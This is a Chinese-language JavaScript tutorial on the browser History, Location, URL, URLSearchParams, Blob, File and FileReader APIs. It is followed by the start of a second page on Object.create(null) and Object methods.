
// 等同于
history.go(-1)
```

浏览器工具栏的“前进”和“后退”按钮，其实就是对 History 对象进行操作。

### 属性

History 对象主要有两个属性。

* `History.length`：当前窗口访问过的网址数量（包括当前网页）
* `History.state`：History 堆栈最上层的状态值

```js
// 当前窗口访问过多少个网页
window.history.length // 1

// History 对象的当前状态
// 通常是 undefined，即未设置
window.history.state // undefined
```

### 方法

#### History.back()

#### History.forward()

#### History.go()

这三个方法用于在历史之中移动。

* `History.back()`：移动到上一个网址，等同于点击浏览器的后退键。对于第一个访问的网址，该方法无效果。
* `History.forward()`：移动到下一个网址，等同于点击浏览器的前进键。对于最后一个访问的网址，该方法无效果。
* `History.go()`：接受一个整数作为参数，以当前网址为基准，移动到参数指定的网址，比如`go(1)`相当于`forward()`，`go(-1)`相当于`back()`。如果参数超过实际存在的网址范围，该方法无效果；如果不指定参数，默认参数为`0`，相当于刷新当前页面。

```js
history.back();
history.forward();
history.go(-2);
```

`history.go(0)`相当于刷新当前页面。

```js
history.go(0); // 刷新当前页面
```

注意：**移动到以前访问过的页面时，页面通常是从浏览器缓存之中加载，而不是重新要求服务器发送新的网页**。

#### History.pushState()

`History.pushState()`方法用于在历史中添加一条记录。

```js
window.history.pushState(state, title, url)
```

该方法接受三个参数，依次为：

* `state`：一个与添加的记录相关联的状态对象，主要用于`popstate`事件。该事件触发时，该对象会传入回调函数。也就是说，浏览器会将这个对象序列化以后保留在本地，重新载入这个页面的时候，可以拿到这个对象。如果不需要这个对象，此处可以填`null`。
* `title`：新页面的标题。但是，现在所有浏览器都忽视这个参数，所以这里可以填空字符串。
* `url`：新的网址，必须与当前页面处在同一个域。浏览器的地址栏将显示这个网址。

假定当前网址是`example.com/1.html`，使用`pushState()`方法在浏览记录（History 对象）中添加一个新记录。

```js
var stateObj = { foo: 'bar' };
history.pushState(stateObj, 'page 2', '2.html');
```

添加新记录后，浏览器地址栏立刻显示`example.com/2.html`，但并不会跳转到`2.html`，甚至也不会检查`2.html`是否存在，它只是成为浏览历史中的最新记录。这时，在地址栏输入一个新的地址(比如访问`google.com`)，然后点击了倒退按钮，页面的 URL 将显示`2.html`；你再点击一次倒退按钮，URL 将显示`1.html`。

总之，`pushState()`方法不会触发页面刷新，只是导致 History 对象发生变化，地址栏会有反应。

使用该方法之后，就可以用`History.state`属性读出状态对象。

```js
var stateObj = { foo: 'bar' };
history.pushState(stateObj, 'page 2', '2.html');
history.state // {foo: "bar"}
```

如果`pushState`的 URL 参数设置了一个新的锚点值（即`hash`），并不会触发`hashchange`事件。反过来，如果 URL 的锚点值变了，则会在 History 对象创建一条浏览记录。

如果`pushState()`方法设置了一个跨域网址，则会报错。

```
// 报错
// 当前网址为 http://example.com
history.pushState(null, '', 'https://twitter.com/hello');
```

上面代码中，`pushState`想要插入一个跨域的网址，导致报错。这样设计的目的是，防止恶意代码让用户以为他们是在另一个网站上，因为这个方法不会导致页面跳转。

#### History.replaceState()

`History.replaceState()`方法用来修改 History 对象的当前记录，其他都与`pushState()`方法一模一样。

假定当前网页是`example.com/example.html`。

```js
history.pushState({page: 1}, 'title 1', '?page=1')
// URL 显示为 http://example.com/example.html?page=1

history.pushState({page: 2}, 'title 2', '?page=2');
// URL 显示为 http://example.com/example.html?page=2

history.replaceState({page: 3}, 'title 3', '?page=3');
// URL 显示为 http://example.com/example.html?page=3

history.back()
// URL 显示为 http://example.com/example.html?page=1

history.back()
// URL 显示为 http://example.com/example.html

history.go(2)
// URL 显示为 http://example.com/example.html?page=3
```

#### popstate 事件

每当同一个文档的浏览历史（即`history`对象）出现变化时，就会触发`popstate`事件。

注意，仅仅调用`pushState()`方法或`replaceState()`方法 ，并不会触发该事件，只有用户点击浏览器倒退按钮和前进按钮，或者使用 JavaScript 调用`History.back()`、`History.forward()`、`History.go()`方法时才会触发。另外，该事件只针对同一个文档，如果浏览历史的切换，导致加载不同的文档，该事件也不会触发。

使用的时候，可以为`popstate`事件指定回调函数。

```js
window.onpopstate = function (event) {
  console.log('location: ' + document.location);
  console.log('state: ' + JSON.stringify(event.state));
};

// 或者
window.addEventListener('popstate', function(event) {
  console.log('location: ' + document.location);
  console.log('state: ' + JSON.stringify(event.state));
});
```

回调函数的参数是一个`event`事件对象，它的`state`属性指向`pushState`和`replaceState`方法为当前 URL 所提供的状态对象（即这两个方法的第一个参数）。上面代码中的`event.state`，就是通过`pushState`和`replaceState`方法，为当前 URL 绑定的`state`对象。

这个`state`对象也可以直接通过`history`对象读取。

```js
var currentState = history.state;
```

注意，页面第一次加载的时候，浏览器不会触发`popstate`事件。

***

URL 是互联网的基础设施之一。浏览器提供了一些原生对象，用来管理 URL。

## Location 对象

`Location`对象是浏览器提供的原生对象，提供 URL 相关的信息和操作方法。通过`window.location`和`document.location`属性，可以拿到这个对象。

### 属性

`Location`对象提供以下属性。

* `Location.href`：整个 URL。
* `Location.protocol`：当前 URL 的协议，包括冒号（`:`）。
* `Location.host`：主机。如果端口不是协议默认的`80`和`433`，则还会包括冒号（`:`）和端口。
* `Location.hostname`：主机名，不包括端口。
* `Location.port`：端口号。
* `Location.pathname`：URL 的路径部分，从根路径`/`开始。
* `Location.search`：查询字符串部分，从问号`?`开始。
* `Location.hash`：片段字符串部分，从`#`开始。
* `Location.username`：域名前面的用户名。
* `Location.password`：域名前面的密码。
* `Location.origin`：URL 的协议、主机名和端口。

```js
// 当前网址为
// http://user:passwd@www.example.com:4097/path/a.html?x=111#part1
document.location.href
// "http://user:passwd@www.example.com:4097/path/a.html?x=111#part1"
document.location.protocol
// "http:"
document.location.host
// "www.example.com:4097"
document.location.hostname
// "www.example.com"
document.location.port
// "4097"
document.location.pathname
// "/path/a.html"
document.location.search
// "?x=111"
document.location.hash
// "#part1"
document.location.username
// "user"
document.location.password
// "passwd"
document.location.origin
// "http://user:passwd@www.example.com:4097"
```

这些属性里面，只有`origin`属性是只读的，其他属性都可写。

注意，如果对`Location.href`写入新的 URL 地址，浏览器会立刻跳转到这个新地址。

```js
// 跳转到新网址
document.location.href = 'http://www.example.com';
```

这个特性常常用于让网页自动滚动到新的锚点。

```js
document.location.href = '#top';
// 等同于
document.location.hash = '#top';
```

直接改写`location`，相当于写入`href`属性。

```js
document.location = 'http://www.example.com';
// 等同于
document.location.href = 'http://www.example.com';
```

另外，`Location.href`属性是浏览器唯一允许跨域写入的属性，即非同源的窗口可以改写另一个窗口（比如子窗口与父窗口）的`Location.href`属性，导致后者的网址跳转。`Location`的其他属性都不允许跨域写入。

### 方法

#### Location.assign()

`assign`方法接受一个 URL 字符串作为参数，使得浏览器立刻跳转到新的 URL。如果参数不是有效的 URL 字符串，则会报错。

```js
// 跳转到新的网址
document.location.assign('http://www.example.com')
```

#### Location.replace()

`replace`方法接受一个 URL 字符串作为参数，使得浏览器立刻跳转到新的 URL。如果参数不是有效的 URL 字符串，则会报错。

它与`assign`方法的差异在于，`replace`会在浏览器的浏览历史`History`里面删除当前网址，也就是说，一旦使用了该方法，后退按钮就无法回到当前网页了，相当于在浏览历史里面，使用新的 URL 替换了老的 URL。它的一个应用是，当脚本发现当前是移动设备时，就立刻跳转到移动版网页。

```js
// 跳转到新的网址
document.location.replace('http://www.example.com')
```

#### Location.reload()

`reload`方法使得浏览器重新加载当前网址，相当于按下浏览器的刷新按钮。

它接受一个布尔值作为参数。如果参数为`true`，浏览器将向服务器重新请求这个网页，并且重新加载后，网页将滚动到头部（即`scrollTop === 0`）。如果参数是`false`或为空，浏览器将从本地缓存重新加载该网页，并且重新加载后，网页的视口位置是重新加载前的位置。

```js
// 向服务器重新请求当前网址
window.location.reload(true);
```

#### Location.toString()

`toString`方法返回整个 URL 字符串，相当于读取`Location.href`属性。

## URL 的编码和解码

网页的 URL 只能包含合法的字符。合法字符分成两类。

* URL 元字符：分号（`;`），逗号（`,`），斜杠（`/`），问号（`?`），冒号（`:`），at（`@`），`&`，等号（`=`），加号（`+`），美元符号（`$`），井号（`#`）
* 语义字符：`a-z`，`A-Z`，`0-9`，连词号（`-`），下划线（`_`），点（`.`），感叹号（`!`），波浪线（`~`），星号（`*`），单引号（`'`），圆括号（`()`）

除了以上字符，其他字符出现在 URL 之中都必须转义，规则是根据操作系统的默认编码，将每个字节转为百分号（`%`）加上两个大写的十六进制字母。

比如，UTF-8 的操作系统上，`http://www.example.com/q=春节`这个 URL 之中，汉字“春节”不是 URL 的合法字符，所以被浏览器自动转成`http://www.example.com/q=%E6%98%A5%E8%8A%82`。其中，“春”转成了`%E6%98%A5`，“节”转成了`%E8%8A%82`。这是因为“春”和“节”的 UTF-8 编码分别是`E6 98 A5`和`E8 8A 82`，将每个字节前面加上百分号，就构成了 URL 编码。

JavaScript 提供四个 URL 的编码/解码方法。

* `encodeURI()`
* `encodeURIComponent()`
* `decodeURI()`
* `decodeURIComponent()`

### encodeURI()

`encodeURI()`方法用于转码整个 URL。它的参数是一个字符串，代表整个 URL。它会将元字符和语义字符之外的字符，都进行转义。

```js
encodeURI('http://www.example.com/q=春节')
// "http://www.example.com/q=%E6%98%A5%E8%8A%82"
```

### encodeURIComponent()

`encodeURIComponent()`方法用于转码 URL 的组成部分，会转码除了语义字符之外的所有字符，即元字符也会被转码。所以，它不能用于转码整个 URL。它接受一个参数，就是 URL 的片段。

```js
encodeURIComponent('春节')
// "%E6%98%A5%E8%8A%82"
encodeURIComponent('http://www.example.com/q=春节')
// "http%3A%2F%2Fwww.example.com%2Fq%3D%E6%98%A5%E8%8A%82"
```

上面代码中，`encodeURIComponent()`会连 URL 元字符一起转义，所以如果转码整个 URL 就会出错。

### decodeURI()

`decodeURI()`方法用于整个 URL 的解码。它是`encodeURI()`方法的逆运算。它接受一个参数，就是转码后的 URL。

```js
decodeURI('http://www.example.com/q=%E6%98%A5%E8%8A%82')
// "http://www.example.com/q=春节"
```

### decodeURIComponent()

`decodeURIComponent()`用于URL 片段的解码。它是`encodeURIComponent()`方法的逆运算。它接受一个参数，就是转码后的 URL 片段。

```js
decodeURIComponent('%E6%98%A5%E8%8A%82')
// "春节"
```

## URL 接口

浏览器原生提供`URL()`接口，它是一个构造函数，用来构造、解析和编码 URL。一般情况下，通过`window.URL`可以拿到这个构造函数。

### 构造函数

`URL()`作为构造函数，可以生成 URL 实例。它接受一个表示 URL 的字符串作为参数。如果参数不是合法的 URL，会报错。

```js
var url = new URL('http://www.example.com/index.html');
url.href
// "http://www.example.com/index.html"
```

上面示例生成了一个 URL 实例，用来代表指定的网址。

除了字符串，`URL()`的参数也可以是另一个 URL 实例。这时，`URL()`会自动读取该实例的`href`属性，作为实际参数。

如果 URL 字符串是一个相对路径，那么需要表示绝对路径的第二个参数，作为计算基准。

```js
var url1 = new URL('index.html', 'http://example.com');
url1.href
// "http://example.com/index.html"

var url2 = new URL('page2.html', 'http://example.com/page1.html');
url2.href
// "http://example.com/page2.html"

var url3 = new URL('..', 'http://example.com/a/b.html')
url3.href
// "http://example.com/"
```

上面代码中，返回的 URL 实例的路径都是在第二个参数的基础上，切换到第一个参数得到的。最后一个例子里面，第一个参数是`..`，表示上层路径。

### 实例属性

URL 实例的属性与`Location`对象的属性基本一致，返回当前 URL 的信息。

* URL.href：返回整个 URL
* URL.protocol：返回协议，以冒号`:`结尾
* URL.hostname：返回域名
* URL.host：返回域名与端口，包含`:`号，默认的80和443端口会省略
* URL.port：返回端口
* URL.origin：返回协议、域名和端口
* URL.pathname：返回路径，以斜杠`/`开头
* URL.search：返回查询字符串，以问号`?`开头
* URL.searchParams：返回一个`URLSearchParams`实例，该属性是`Location`对象没有的
* URL.hash：返回片段识别符，以井号`#`开头
* URL.password：返回域名前面的密码
* URL.username：返回域名前面的用户名

```js
var url = new URL('http://user:passwd@www.example.com:4097/path/a.html?x=111#part1');

url.href
// "http://user:passwd@www.example.com:4097/path/a.html?x=111#part1"
url.protocol
// "http:"
url.hostname
// "www.example.com"
url.host
// "www.example.com:4097"
url.port
// "4097"
url.origin
// "http://www.example.com:4097"
url.pathname
// "/path/a.html"
url.search
// "?x=111"
url.searchParams
// URLSearchParams {}
url.hash
// "#part1"
url.password
// "passwd"
url.username
// "user"
```

这些属性里面，只有`origin`属性是只读的，其他属性都可写，并且会立即生效。

```js
var url = new URL('http://example.com/index.html#part1');

url.pathname = 'index2.html';
url.href // "http://example.com/index2.html#part1"

url.hash = '#part2';
url.href // "http://example.com/index2.html#part2"
```

上面代码中，改变 URL 实例的`pathname`属性和`hash`属性，都会实时反映在 URL 实例当中。

### 静态方法

#### URL.createObjectURL()

`URL.createObjectURL()`方法用来为上传/下载的文件、流媒体文件生成一个 URL 字符串。这个字符串代表了`File`对象或`Blob`对象的 URL。

```js
// HTML 代码如下
// <div id="display"/>
// <input
//   type="file"
//   id="fileElem"
//   multiple
//   accept="image/*"
//   onchange="handleFiles(this.files)"
//  >
var div = document.getElementById('display');

function handleFiles(files) {
  for (var i = 0; i < files.length; i++) {
    var img = document.createElement('img');
    img.src = window.URL.createObjectURL(files[i]);
    div.appendChild(img);
  }
}
```

上面代码中，`URL.createObjectURL()`方法用来为上传的文件生成一个 URL 字符串，作为`<img>`元素的图片来源。

该方法生成的 URL 就像下面的样子。

```http
blob:http://localhost/c745ef73-ece9-46da-8f66-ebes574789b1
```

注意，每次使用`URL.createObjectURL()`方法，都会在内存里面生成一个 URL 实例。如果不再需要该方法生成的 URL 字符串，为了节省内存，可以使用`URL.revokeObjectURL()`方法释放这个实例。

#### URL.revokeObjectURL()

`URL.revokeObjectURL()`方法用来释放`URL.createObjectURL()`方法生成的 URL 实例。它的参数就是`URL.createObjectURL()`方法返回的 URL 字符串。

下面为上一段的示例加上`URL.revokeObjectURL()`。

```js
var div = document.getElementById('display');

function handleFiles(files) {
  for (var i = 0; i < files.length; i++) {
    var img = document.createElement('img');
    img.src = window.URL.createObjectURL(files[i]);
    div.appendChild(img);
    img.onload = function() {
      window.URL.revokeObjectURL(this.src);
    }
  }
}
```

上面代码中，一旦图片加载成功以后，为本地文件生成的 URL 字符串就没用了，于是可以在`img.onload`回调函数里面，通过`URL.revokeObjectURL()`方法卸载这个 URL 实例。

## URLSearchParams 对象

### 概述

`URLSearchParams`对象是浏览器的原生对象，用来构造、解析和处理 URL 的查询字符串（即 URL 问号后面的部分）。

它本身也是一个构造函数，可以生成实例。参数可以为查询字符串，起首的问号`?`有没有都行，也可以是对应查询字符串的数组或对象。

```js
// 方法一：传入字符串
var params = new URLSearchParams('?foo=1&bar=2');
// 等同于
var params = new URLSearchParams(document.location.search);

// 方法二：传入数组
var params = new URLSearchParams([['foo', 1], ['bar', 2]]);

// 方法三：传入对象
var params = new URLSearchParams({'foo' : 1 , 'bar' : 2});
```

`URLSearchParams`会对查询字符串自动编码。

```js
var params = new URLSearchParams({'foo': '你好'});
params.toString() // "foo=%E4%BD%A0%E5%A5%BD"
```

上面代码中，`foo`的值是汉字，`URLSearchParams`对其自动进行 URL 编码。

浏览器向服务器发送表单数据时，可以直接使用`URLSearchParams`实例作为表单数据。

```js
const params = new URLSearchParams({foo: 1, bar: 2});
fetch('https://example.com/api', {
  method: 'POST',
  body: params
}).then(...)
```

上面代码中，`fetch`命令向服务器发送命令时，可以直接使用`URLSearchParams`实例。

`URLSearchParams`可以与`URL()`接口结合使用。

```js
var url = new URL(window.location);
var foo = url.searchParams.get('foo') || 'somedefault';
```

上面代码中，URL 实例的`searchParams`属性就是一个`URLSearchParams`实例，所以可以使用`URLSearchParams`接口的`get`方法。

`URLSearchParams`实例有遍历器接口，可以用`for...of`循环遍历。

```js
var params = new URLSearchParams({'foo': 1 , 'bar': 2});

for (var p of params) {
  console.log(p[0] + ': ' + p[1]);
}
// foo: 1
// bar: 2
```

`URLSearchParams`没有实例属性，只有实例方法。

### URLSearchParams.toString()

`toString`方法返回实例的字符串形式。

```js
var url = new URL('https://example.com?foo=1&bar=2');
var params = new URLSearchParams(url.search);

params.toString() // "foo=1&bar=2'
```

那么需要字符串的场合，会自动调用`toString`方法。

```js
var params = new URLSearchParams({version: 2.0});
window.location.href = location.pathname + '?' + params;
```

上面代码中，`location.href`赋值时，可以直接使用`params`对象。这时就会自动调用`toString`方法。

### URLSearchParams.append()

`append()`方法用来追加一个查询参数。它接受两个参数，第一个为键名，第二个为键值，没有返回值。

```js
var params = new URLSearchParams({'foo': 1 , 'bar': 2});
params.append('baz', 3);
params.toString() // "foo=1&bar=2&baz=3"
```

`append()`方法不会识别是否键名已经存在。

```js
var params = new URLSearchParams({'foo': 1 , 'bar': 2});
params.append('foo', 3);
params.toString() // "foo=1&bar=2&foo=3"
```

上面代码中，查询字符串里面`foo`已经存在了，但是`append`依然会追加一个同名键。

### URLSearchParams.delete()

`delete()`方法用来删除指定的查询参数。它接受键名作为参数。

```js
var params = new URLSearchParams({'foo': 1 , 'bar': 2});
params.delete('bar');
params.toString() // "foo=1"
```

### URLSearchParams.has()

`has()`方法返回一个布尔值，表示查询字符串是否包含指定的键名。

```js
var params = new URLSearchParams({'foo': 1 , 'bar': 2});
params.has('bar') // true
params.has('baz') // false
```

### URLSearchParams.set()

`set()`方法用来设置查询字符串的键值。

它接受两个参数，第一个是键名，第二个是键值。如果是已经存在的键，键值会被改写，否则会被追加。

```js
var params = new URLSearchParams('?foo=1');
params.set('foo', 2);
params.toString() // "foo=2"
params.set('bar', 3);
params.toString() // "foo=2&bar=3"
```

上面代码中，`foo`是已经存在的键，`bar`是还不存在的键。

如果有多个的同名键，`set`会移除现存所有的键。

```js
var params = new URLSearchParams('?foo=1&foo=2');
params.set('foo', 3);
params.toString() // "foo=3"
```

下面是一个替换当前 URL 的例子。

```js
// URL: https://example.com?version=1.0
var params = new URLSearchParams(location.search.slice(1));
params.set('version', '2.0');

window.history.replaceState({}, '', location.pathname + `?` + params);
// URL: https://example.com?version=2.0
```

### URLSearchParams.get()

### URLSearchParams.getAll()

`get()`方法用来读取查询字符串里面的指定键。它接受键名作为参数。

```js
var params = new URLSearchParams('?foo=1');
params.get('foo') // "1"
params.get('bar') // null
```

两个地方需要注意。第一，它返回的是字符串，如果原始值是数值，需要转一下类型；第二，如果指定的键名不存在，返回值是`null`。

如果有多个的同名键，`get`返回位置最前面的那个键值。

```js
var params = new URLSearchParams('?foo=3&foo=2&foo=1');
params.get('foo') // "3"
```

上面代码中，查询字符串有三个`foo`键，`get`方法返回最前面的键值`3`。

`getAll()`方法返回一个数组，成员是指定键的所有键值。它接受键名作为参数。

```js
var params = new URLSearchParams('?foo=1&foo=2');
params.getAll('foo') // ["1", "2"]
```

上面代码中，查询字符串有两个`foo`键，`getAll`返回的数组就有两个成员。

### URLSearchParams.sort()

`sort()`方法对查询字符串里面的键进行排序，规则是按照 Unicode 码点从小到大排列。

该方法没有返回值，或者说返回值是`undefined`。

```js
var params = new URLSearchParams('c=4&a=2&b=3&a=1');
params.sort();
params.toString() // "a=2&a=1&b=3&c=4"
```

上面代码中，如果有两个同名的键`a`，它们之间不会排序，而是保留原始的顺序。

### URLSearchParams.keys()

### URLSearchParams.values()

### URLSearchParams.entries()

这三个方法都返回一个遍历器对象，供`for...of`循环遍历。它们的区别在于，`keys`方法返回的是键名的遍历器，`values`方法返回的是键值的遍历器，`entries`返回的是键值对的遍历器。

```js
var params = new URLSearchParams('a=1&b=2');

for(var p of params.keys()) {
  console.log(p);
}
// a
// b

for(var p of params.values()) {
  console.log(p);
}
// 1
// 2

for(var p of params.entries()) {
  console.log(p);
}
// ["a", "1"]
// ["b", "2"]
```

如果直接对`URLSearchParams`进行遍历，其实内部调用的就是`entries`接口。

```js
for (var p of params) {}
// 等同于
for (var p of params.entries()) {}
```

## ArrayBuffer 对象

ArrayBuffer 对象表示一段二进制数据，用来模拟内存里面的数据。通过这个对象，JavaScript 可以读写二进制数据。这个对象可以看作内存数据的表达。

这个对象是 ES6 才写入标准的，普通的网页编程用不到它。

浏览器原生提供`ArrayBuffer()`构造函数，用来生成实例。它接受一个整数作为参数，表示这段二进制数据占用多少个字节。

```js
var buffer = new ArrayBuffer(8);
```

上面代码中，实例对象`buffer`占用8个字节。

ArrayBuffer 对象有实例属性`byteLength`，表示当前实例占用的内存长度（单位字节）。

```js
var buffer = new ArrayBuffer(8);
buffer.byteLength // 8
```

ArrayBuffer 对象有实例方法`slice()`，用来复制一部分内存。它接受两个整数参数，分别表示复制的开始位置（从0开始）和结束位置（复制时不包括结束位置），如果省略第二个参数，则表示一直复制到结束。

```js
var buf1 = new ArrayBuffer(8);
var buf2 = buf1.slice(0);
```

上面代码表示复制原来的实例。

## Blob 对象

Blob 对象表示一个二进制文件的数据内容，比如一个图片文件的内容就可以通过 Blob 对象读写。它通常用来读写文件，它的名字是 Binary Large Object （二进制大型对象）的缩写。它与 ArrayBuffer 的区别在于，它用于操作二进制文件，而 ArrayBuffer 用于操作内存。

浏览器原生提供`Blob()`构造函数，用来生成实例对象。

```js
new Blob(array [, options])
```

`Blob`构造函数接受两个参数。第一个参数是数组，成员是字符串或二进制对象，表示新生成的`Blob`实例对象的内容；第二个参数是可选的，是一个配置对象，目前只有一个属性`type`，它的值是一个字符串，表示数据的 MIME 类型，默认是空字符串。

```js
var htmlFragment = ['<a id="a"><b id="b">hey!</b></a>'];
var myBlob = new Blob(htmlFragment, {type : 'text/html'});
```

上面代码中，实例对象`myBlob`包含的是字符串。生成实例的时候，数据类型指定为`text/html`。

下面是另一个例子，Blob 保存 JSON 数据。

```js
var obj = { hello: 'world' };
var blob = new Blob([ JSON.stringify(obj) ], {type : 'application/json'});
```

### 实例属性和实例方法

`Blob`具有两个实例属性`size`和`type`，分别返回数据的大小和类型。

```js
var htmlFragment = ['<a id="a"><b id="b">hey!</b></a>'];
var myBlob = new Blob(htmlFragment, {type : 'text/html'});

myBlob.size // 32
myBlob.type // "text/html"
```

`Blob`具有一个实例方法`slice`，用来拷贝原来的数据，返回的也是一个`Blob`实例。

```js
myBlob.slice(start, end, contentType)
```

`slice`方法有三个参数，都是可选的。它们依次是起始的字节位置（默认为0）、结束的字节位置（默认为`size`属性的值，该位置本身将不包含在拷贝的数据之中）、新实例的数据类型（默认为空字符串）。

### 获取文件信息

文件选择器`<input type="file">`用来让用户选取文件。出于安全考虑，浏览器不允许脚本自行设置这个控件的`value`属性，即文件必须是用户手动选取的，不能是脚本指定的。一旦用户选好了文件，脚本就可以读取这个文件。

文件选择器返回一个 FileList 对象，该对象是一个类似数组的成员，每个成员都是一个 File 实例对象。File 实例对象是一个特殊的 Blob 实例，增加了`name`和`lastModifiedDate`属性。

```js
// HTML 代码如下
// <input type="file" accept="image/*" multiple onchange="fileinfo(this.files)"/>

function fileinfo(files) {
  for (var i = 0; i < files.length; i++) {
    var f = files[i];
    console.log(
      f.name, // 文件名，不含路径
      f.size, // 文件大小，Blob 实例属性
      f.type, // 文件类型，Blob 实例属性
      f.lastModifiedDate // 文件的最后修改时间
    );
  }
}
```

除了文件选择器，拖放 API 的`dataTransfer.files`返回的也是一个FileList 对象，它的成员因此也是 File 实例对象。

### 下载文件

AJAX 请求时，如果指定`responseType`属性为`blob`，下载下来的就是一个 Blob 对象。

```js
function getBlob(url, callback) {
  var xhr = new XMLHttpRequest();
  xhr.open('GET', url);
  xhr.responseType = 'blob';
  xhr.onload = function () {
    callback(xhr.response);
  }
  xhr.send(null);
}
```

上面代码中，`xhr.response`拿到的就是一个 Blob 对象。

### 生成 URL

浏览器允许使用`URL.createObjectURL()`方法，针对 Blob 对象生成一个临时 URL，以便于某些 API 使用。这个 URL 以`blob://`开头，表明对应一个 Blob 对象，协议头后面是一个识别符，用来唯一对应内存里面的 Blob 对象。这一点与`data://URL`（URL 包含实际数据）和`file://URL`（本地文件系统里面的文件）都不一样。

```js
var droptarget = document.getElementById('droptarget');

droptarget.ondrop = function (e) {
  var files = e.dataTransfer.files;
  for (var i = 0; i < files.length; i++) {
    var type = files[i].type;
    if (type.substring(0,6) !== 'image/')
      continue;
    var img = document.createElement('img');
    img.src = URL.createObjectURL(files[i]);
    img.onload = function () {
      this.width = 100;
      document.body.appendChild(this);
      URL.revokeObjectURL(this.src);
    }
  }
}
```

上面代码通过为拖放的图片文件生成一个 URL，产生它们的缩略图，从而使得用户可以预览选择的文件。

浏览器处理 Blob URL 就跟普通的 URL 一样，如果 Blob 对象不存在，返回404状态码；如果跨域请求，返回403状态码。Blob URL 只对 GET 请求有效，如果请求成功，返回200状态码。由于 Blob URL 就是普通 URL，因此可以下载。

### 读取文件

取得 Blob 对象以后，可以通过`FileReader`对象，读取 Blob 对象的内容，即文件内容。

FileReader 对象提供四个方法，处理 Blob 对象。Blob 对象作为参数传入这些方法，然后以指定的格式返回。

* `FileReader.readAsText()`：返回文本，需要指定文本编码，默认为 UTF-8。
* `FileReader.readAsArrayBuffer()`：返回 ArrayBuffer 对象。
* `FileReader.readAsDataURL()`：返回 Data URL。
* `FileReader.readAsBinaryString()`：返回原始的二进制字符串。

下面是`FileReader.readAsText()`方法的例子，用来读取文本文件。

```js
// HTML 代码如下
// <input type="file" onchange="readfile(this.files[0])"></input>
// <pre id="output"></pre>
function readfile(f) {
  var reader = new FileReader();
  reader.readAsText(f);
  reader.onload = function () {
    var text = reader.result;
    var out = document.getElementById('output');
    out.innerHTML = '';
    out.appendChild(document.createTextNode(text));
  }
  reader.onerror = function(e) {
    console.log('Error', e);
  };
}
```

上面代码中，通过指定 FileReader 实例对象的`onload`监听函数，在实例的`result`属性上拿到文件内容。

下面是`FileReader.readAsArrayBuffer()`方法的例子，用于读取二进制文件。

```js
// HTML 代码如下
// <input type="file" onchange="typefile(this.files[0])"></input>
function typefile(file) {
  // 文件开头的四个字节，生成一个 Blob 对象
  var slice = file.slice(0, 4);
  var reader = new FileReader();
  // 读取这四个字节
  reader.readAsArrayBuffer(slice);
  reader.onload = function (e) {
    var buffer = reader.result;
    // 将这四个字节的内容，视作一个32位整数
    var view = new DataView(buffer);
    var magic = view.getUint32(0, false);
    // 根据文件的前四个字节，判断它的类型
    switch(magic) {
      case 0x89504E47: file.verified_type = 'image/png'; break;
      case 0x47494638: file.verified_type = 'image/gif'; break;
      case 0x25504446: file.verified_type = 'application/pdf'; break;
      case 0x504b0304: file.verified_type = 'application/zip'; break;
    }
    console.log(file.name, file.verified_type);
  };
}
```

## File 对象

File 对象代表一个文件，用来读写文件信息。它继承了 Blob 对象，或者说是一种特殊的 Blob 对象，所有可以使用 Blob 对象的场合都可以使用它。

最常见的使用场合是表单的文件上传控件（`<input type="file">`），用户选中文件以后，浏览器就会生成一个数组，里面是每一个用户选中的文件，它们都是 File 实例对象。

```js
// HTML 代码如下
// <input id="fileItem" type="file">
var file = document.getElementById('fileItem').files[0];
file instanceof File // true
```

上面代码中，`file`是用户选中的第一个文件，它是 File 的实例。

## FileList 对象

## FileReader 对象

---

---
url: /skill/v3d23pi8/index.md
---
# JS 回顾 2
## Object

在 JS 里，大多数“普通对象”（包括数组、函数、日期对象、正则对象、包装对象等）在原型链顶端都会走到 **`Object.prototype`**，也就是说那些对象都是 `Object` 的实例。

```js
Array instanceof Object
// true
```

`instanceof` 判断的是：**右侧构造函数的 `prototype` 是否出现在左侧对象的原型链上**。

数组的原型链大概是：`arr → Array.prototype → Object.prototype → null`，所以 `Object.prototype` 在链上

但有两个非常重要的例外，`null` / `undefined` 不是对象，而且 `null` 的原型链终点就是它自己（也可以理解为“没有对象身份”）。

`Object.create(null)` 创建的是“无原型对象”，它的原型直接是 `null`，根本不经过 `Object.prototype`，这类对象常用于做“纯字典”（避免 `toString`、`constructor` 之类的原型属性干扰）。

还有一点就是 **原始值本身不是对象**，但当你用到属性/方法时，JS 会临时“装箱”（boxing）成包装对象（比如 `new String("hi")`）去帮你调用方法，所以你会觉得它“像对象”。

***

这种 `const o = Object.create(null)` 就是刻意造出来的“**裸对象 / 纯字典**”：它 **没有原型**，所以不会从 `Object.prototype` 继承任何东西——也就意味着你“`.` 点不出来”那些常见方法（`toString`、`hasOwnProperty`、`constructor`……全没了）。

它的主要用途基本就两类：**当 Map 的轻量替代**、以及 **安全地当 key-value 字典**。

普通 `{}` 天生带一堆原型属性，如果你把对象当哈希表用，最烦的是：**你的 key 可能刚好叫 `toString` / `constructor` / `__proto__`**，会产生奇怪行为甚至安全问题（原型污染）。

`Object.create(null)` 就不会：

```js
const dict = Object.create(null);
dict.toString      // undefined
"toString" in dict // false
```

所以它特别适合：**外部输入的 key**（比如用户提交的字段名、URL 参数、JSON 里的键、HTTP header 名等）直接塞进字典里统计/映射。

因为没原型链，枚举时不会被继承属性搅局（虽然 `Object.keys({})` 本来也只拿自有属性，但 `for...in` 会枚举继承属性）：

```js
const dict = Object.create(null);
dict.a = 1;

for (const k in dict) console.log(k); // 只会 a
```

在 **key 全是字符串/符号**、操作就是 `get/set/has`、而且对象规模不夸张时，裸对象当字典可能更轻量（但现代引擎里 Map 也很快；别为了“传说中的性能”提前优化，更多是为了“语义干净/安全”）。

代价就是它啥都没有，在它的身上用一些对象的方法就要换思路了：

```js
dict.hasOwnProperty("a") // TypeError: dict.hasOwnProperty is not a function
```

```js
Object.hasOwn(dict, "a") // 新版
// 或者
Object.prototype.hasOwnProperty.call(dict, "a")
```

***

`Object` 对象的原生方法分成两类：`Object` 本身的方法与 `Object` 的实例方法

所谓“**本身方法**”就是直接定义在 `Object` 对象的方法。

所谓 **实例方法** 就是定义在 `Object` 原型对象 `Object.prototype` 上的方法，它可以被 `Object` 实例直接使用。

通过 `const obj = new Object()` 的写法生成新对象，与字面量的写法 `var obj = {}` 是等价的

### 静态方法

`Object.keys` 方法的参数是一个对象，返回一个数组，该数组的成员都是该对象自身的（而不是继承的）所有属性名，而 `Object.getOwnPropertyNames` 方法还返回不可枚举的属性名。

**（1）对象属性模型的相关方法**

* `Object.getOwnPropertyDescriptor()`：获取某个属性的描述对象。
